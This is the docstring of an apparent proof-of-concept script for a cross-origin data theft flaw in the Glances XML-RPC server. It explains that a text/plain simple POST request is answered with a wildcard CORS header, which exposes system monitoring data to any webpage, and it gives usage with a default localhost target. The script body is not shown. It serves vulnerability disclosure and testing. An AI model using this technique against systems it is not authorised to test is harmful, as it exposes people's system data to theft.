PoC: Cross-Origin Data Theft via Glances XML-RPC Server CORS Misconfiguration

This script simulates the browser-based attack by sending a POST request with
Content-Type: text/plain (CORS simple request) to the Glances XML-RPC server.

The server responds with Access-Control-Allow-Origin: * which allows any
webpage to read the full response containing system monitoring data.

Usage: python3 poc_test.py [target_host] [target_port]
Default: python3 poc_test.py 127.0.0.1 61209
